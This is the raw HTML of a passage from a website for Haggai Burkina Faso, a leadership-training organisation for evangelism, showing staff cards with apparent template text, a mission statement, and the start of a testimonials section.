					<div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-team__team-5 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-y-2xl wp-block-columns are-vertically-aligned-top is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1621972659738-598cd8f7c37c?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Quincy Scott</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Founder &#038; CEO</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our dedicated team works together to deliver exceptional results while maintaining a high level of professionalism and integrity.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1573878742615-3ce8fac77273?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Nicole Moore</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Venue Manager</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">Our team of experts ensures your event is planned and executed flawlessly, leaving you free to enjoy the experience without any worries.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1577880216142-8549e9488dad?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Julian Fischer</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div><div class="wp-block-column is-vertically-aligned-top is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-gap-md wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><figure class="nfd-rounded-sm wp-block-image size-large"><img decoding="async" src="https://images.unsplash.com/photo-1649399041424-0d758fba690b?w=200&#038;fit=crop&#038;w=600&#038;h=600&#038;crop=faces" alt="" style="aspect-ratio: 1; object-fit: cover" /></figure><div class="nfd-gap-sm wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-align-left wp-block-paragraph"><strong>Rania Ahmad</strong></p><p class="nfd-text-base nfd-text-faded has-text-align-left wp-block-paragraph">Vendor Management</p></div><div class="nfd-text-pretty nfd-text-sm nfd-text-faded wp-block-group is-vertical is-content-justification-stretch is-layout-flex wp-container-core-group-is-layout-33ccc8b1 wp-block-group-is-layout-flex"><p class="wp-block-paragraph">We are committed to providing exclusive vendor partnerships, making your vision for your event come to life in the most extraordinary way.</p></div><div style="height:0px" aria-hidden="true" class="wp-block-spacer wp-container-content-9760934e"></div><div class="wp-block-group is-content-justification-space-between is-layout-flex wp-container-core-group-is-layout-0d004395 wp-block-group-is-layout-flex"><ul class="is-style-logos-only nfd-gap-md wp-block-social-links has-small-icon-size is-content-justification-left is-layout-flex wp-container-core-social-links-is-layout-63375db1 wp-block-social-links-is-layout-flex"><li class="wp-social-link wp-social-link-instagram wp-block-social-link"><a href="https://instagram.com" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12,4.622c2.403,0,2.688,0.009,3.637,0.052c0.877,0.04,1.354,0.187,1.671,0.31c0.42,0.163,0.72,0.358,1.035,0.673 c0.315,0.315,0.51,0.615,0.673,1.035c0.123,0.317,0.27,0.794,0.31,1.671c0.043,0.949,0.052,1.234,0.052,3.637 s-0.009,2.688-0.052,3.637c-0.04,0.877-0.187,1.354-0.31,1.671c-0.163,0.42-0.358,0.72-0.673,1.035 c-0.315,0.315-0.615,0.51-1.035,0.673c-0.317,0.123-0.794,0.27-1.671,0.31c-0.949,0.043-1.233,0.052-3.637,0.052 s-2.688-0.009-3.637-0.052c-0.877-0.04-1.354-0.187-1.671-0.31c-0.42-0.163-0.72-0.358-1.035-0.673 c-0.315-0.315-0.51-0.615-0.673-1.035c-0.123-0.317-0.27-0.794-0.31-1.671C4.631,14.688,4.622,14.403,4.622,12 s0.009-2.688,0.052-3.637c0.04-0.877,0.187-1.354,0.31-1.671c0.163-0.42,0.358-0.72,0.673-1.035 c0.315-0.315,0.615-0.51,1.035-0.673c0.317-0.123,0.794-0.27,1.671-0.31C9.312,4.631,9.597,4.622,12,4.622 M12,3 C9.556,3,9.249,3.01,8.289,3.054C7.331,3.098,6.677,3.25,6.105,3.472C5.513,3.702,5.011,4.01,4.511,4.511 c-0.5,0.5-0.808,1.002-1.038,1.594C3.25,6.677,3.098,7.331,3.054,8.289C3.01,9.249,3,9.556,3,12c0,2.444,0.01,2.751,0.054,3.711 c0.044,0.958,0.196,1.612,0.418,2.185c0.23,0.592,0.538,1.094,1.038,1.594c0.5,0.5,1.002,0.808,1.594,1.038 c0.572,0.222,1.227,0.375,2.185,0.418C9.249,20.99,9.556,21,12,21s2.751-0.01,3.711-0.054c0.958-0.044,1.612-0.196,2.185-0.418 c0.592-0.23,1.094-0.538,1.594-1.038c0.5-0.5,0.808-1.002,1.038-1.594c0.222-0.572,0.375-1.227,0.418-2.185 C20.99,14.751,21,14.444,21,12s-0.01-2.751-0.054-3.711c-0.044-0.958-0.196-1.612-0.418-2.185c-0.23-0.592-0.538-1.094-1.038-1.594 c-0.5-0.5-1.002-0.808-1.594-1.038c-0.572-0.222-1.227-0.375-2.185-0.418C14.751,3.01,14.444,3,12,3L12,3z M12,7.378 c-2.552,0-4.622,2.069-4.622,4.622S9.448,16.622,12,16.622s4.622-2.069,4.622-4.622S14.552,7.378,12,7.378z M12,15 c-1.657,0-3-1.343-3-3s1.343-3,3-3s3,1.343,3,3S13.657,15,12,15z M16.804,6.116c-0.596,0-1.08,0.484-1.08,1.08 s0.484,1.08,1.08,1.08c0.596,0,1.08-0.484,1.08-1.08S17.401,6.116,16.804,6.116z"></path></svg><span class="wp-block-social-link-label screen-reader-text">Instagram</span></a></li><li class="wp-social-link wp-social-link-linkedin wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M19.7,3H4.3C3.582,3,3,3.582,3,4.3v15.4C3,20.418,3.582,21,4.3,21h15.4c0.718,0,1.3-0.582,1.3-1.3V4.3 C21,3.582,20.418,3,19.7,3z M8.339,18.338H5.667v-8.59h2.672V18.338z M7.004,8.574c-0.857,0-1.549-0.694-1.549-1.548 c0-0.855,0.691-1.548,1.549-1.548c0.854,0,1.547,0.694,1.547,1.548C8.551,7.881,7.858,8.574,7.004,8.574z M18.339,18.338h-2.669 v-4.177c0-0.996-0.017-2.278-1.387-2.278c-1.389,0-1.601,1.086-1.601,2.206v4.249h-2.667v-8.59h2.559v1.174h0.037 c0.356-0.675,1.227-1.387,2.526-1.387c2.703,0,3.203,1.779,3.203,4.092V18.338z"></path></svg><span class="wp-block-social-link-label screen-reader-text">LinkedIn</span></a></li><li class="wp-social-link wp-social-link-x wp-block-social-link"><a href="#" class="wp-block-social-link-anchor"><svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg><span class="wp-block-social-link-label screen-reader-text">X</span></a></li></ul></div></div></div></div></div></div><div class="wp-block-group nfd-container nfd-text-md nfd-wb-text__text-6 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="nfd-gap-xl wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><h2 class="nfd-text-xl nfd-text-balance wp-block-heading" style="font-style:normal;font-weight:600">Empowering Leaders for Evangelism in Burkina Faso</h2></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">Haggai Burkina Faso is dedicated to equipping leaders with the necessary skills and knowledge to effectively engage in evangelism. Our programs focus on fostering leadership qualities that inspire community service and religious activities, ensuring a positive impact in the region.</p><p class="wp-block-paragraph">Our mission is to create a network of empowered leaders who are passionate about spreading the message of hope and faith. We believe that through effective training and support, individuals can transform their communities and contribute to a greater cause.</p></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><p class="wp-block-paragraph">At Haggai Burkina Faso, we envision a future where every leader is equipped to make a difference. Our vision encompasses not only personal growth but also the development of a supportive community that thrives on shared values and collective efforts.</p><p class="wp-block-paragraph">Join us in our journey to empower leaders across Burkina Faso. Together, we can foster a culture of evangelism and community service that uplifts individuals and strengthens our society as a whole.</p></div></div></div><div class="wp-block-group nfd-container nfd-p-lg nfd-theme-white nfd-bg-surface nfd-wb-testimonials__testimonials-1 is-layout-constrained wp-block-group-is-layout-constrained" ><div class="wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex"><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow" style="flex-basis:40%"><div class="nfd-gap-2xl wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><h2 class="nfd-text-huge wp-block-heading">What Our Community Says About Us</h2><div class="nfd-gap-lg wp-block-group is-content-justification-left is-layout-flex wp-container-core-group-is-layout-bc29a5f0 wp-block-group-is-layout-flex"><div class="nfd-overlap-x nfd-border-bg wp-block-group is-nowrap is-layout-flex wp-container-core-group-is-layout-8f761849 wp-block-group-is-layout-flex"><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1600728658141-03d080a1bf55?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1547360649-d24a4bdfb16e?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1571109216779-6ccc20727c0a?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure><figure class="is-style-rounded wp-block-image size-large is-resized has-custom-border"><img decoding="async" src="https://images.unsplash.com/photo-1580076905521-abcea81b6c02?q=80&#038;auto=format&#038;fit=crop&#038;w=120&#038;h=120&#038;crop=faces" alt="" style="border-width:2px;aspect-ratio:1;object-fit:cover;width:50px"/></figure></div><div class="nfd-gap-0 wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-md has-text-color wp-block-paragraph" style="color:#fab906;letter-spacing:2px">★★★★★</p><p class="nfd-text-base wp-block-paragraph">Average Rating: 4.8 out of 5 based on 150 reviews</p></div></div><div style="height:16px" aria-hidden="true" class="wp-block-spacer"></div></div></div><div class="wp-block-column is-layout-flow wp-block-column-is-layout-flow"><div class="nfd-theme-light nfd-bg-surface nfd-rounded nfd-text-balance nfd-p-card-md nfd-gap-md wp-block-group is-vertical is-layout-flex wp-container-core-group-is-layout-4fc3f8e1 wp-block-group-is-layout-flex"><p class="nfd-text-balance wp-block-paragraph"><strong>Inspiring Community Engagement</strong></p><div class="nfd-pl-offset-md nfd-text-balance nfd-text-base wp-block-group is-layout-constrained wp-block-group-is-layout-constrained" 